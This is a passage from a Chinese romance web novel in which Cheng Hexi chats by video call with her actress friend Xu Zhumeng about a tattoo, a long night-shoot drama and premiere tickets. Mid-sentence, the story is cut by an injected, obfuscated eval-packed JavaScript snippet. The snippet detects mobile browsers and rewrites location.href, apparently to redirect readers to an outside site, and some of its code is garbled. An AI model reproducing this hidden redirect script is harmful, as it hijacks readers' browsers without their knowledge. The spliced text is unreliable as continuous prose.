-
回到家后已经很晚了。夜色浓郁,月亮高悬。
程禾曦去书房处理了一些残余工作,之后一直没碰见游越,自己照常洗漱护肤。刚进房间,就接到了徐祝梦的电话。
徐祝梦几乎又是无缝进组。
她没有一丝一毫的懈怠,敬业得一如当年刚入圈时。
上次见面她还感慨过,她们两个友谊常青的原因除了真正彼此吸引共鸣之外,很重要的一点是两人都是工作狂。
程禾曦记得当时自己说:“这样不会因为被忽略而伤心是吗?”
当时徐祝梦笑了好一会儿,“嗯,对。我们是互相忽略。”
接通后,程禾曦脱掉外袍,只余一件吊带睡裙,走到床边给手机充上电。
因而,电话那头的徐祝梦最先看到了她的肩头,还有锁骨上的纹身。
大明星一惊一乍:“一接电话就让我看这么香艳的画面?”
程禾曦正拿着遥控在关窗帘,这时才注意到镜头里是怎样的。
“是吗?”
她被逗得笑了下,又忽然想起真正同居第二天早上游越看到她肩头纹身的反应。
他的反应就是没反应。
冷淡得像在看什么商业报表。
倒是自己,看到塑料老公健身回来,瞥了几眼他衣服下的胸肌,还觉得他身材练得不错。
提到纹身,程禾曦这个纹身是她妈妈去世那年纹的。
这个位置,如果不是照镜子,她自己看不到,所以这么多年,其实也没多在意它。
它起到的作用大概相当于一个护身符、平安坠。
靠在床头,程禾曦让手机镜头对准自己的脸,仔细看了看徐祝梦。
看起来有点疲惫,但状态还不错。
“最近很累?”她问。
“有点。”徐祝梦换了个姿势倚着,敷上一张面膜。
“在上个剧组过得太好了——这个组夜戏很多,而且战线特别长。”
但好处是有节假日。
这也是很多剧组比不了的。
闻言,程禾曦想了想她们最近的聊天内容,问:“是悬疑片,对吧?”
“嗯,特别有意思的一个本子。”
说到这,徐祝梦提起:“我前年拍的那部片快上映了,到时候你要来首映礼啊,我送两张票给你!”
她再忙也会去徐祝梦新电影的首映礼。
徐祝梦出道十年,从未变过。
程禾曦应下,又问:“怎么还是两张?”
首映礼不同于路演,大多数时候只有媒体和合作商到场,不统一售票。
程禾曦的一个小助理刚毕业三年,当初京大校招进的希林,是徐祝梦的粉丝。上次徐祝梦送两张票给程禾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16577686|187175||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
曦,她是和那个助理一起去的。
但程禾曦总觉得这小姑娘在她身边很放不开,仔细想了想,和老板一起看电影大概也像加班。
之后她就和徐祝梦说首映礼给她一张票,她自己去看,之后的京市路演再送来几张好位置的,她再给助理。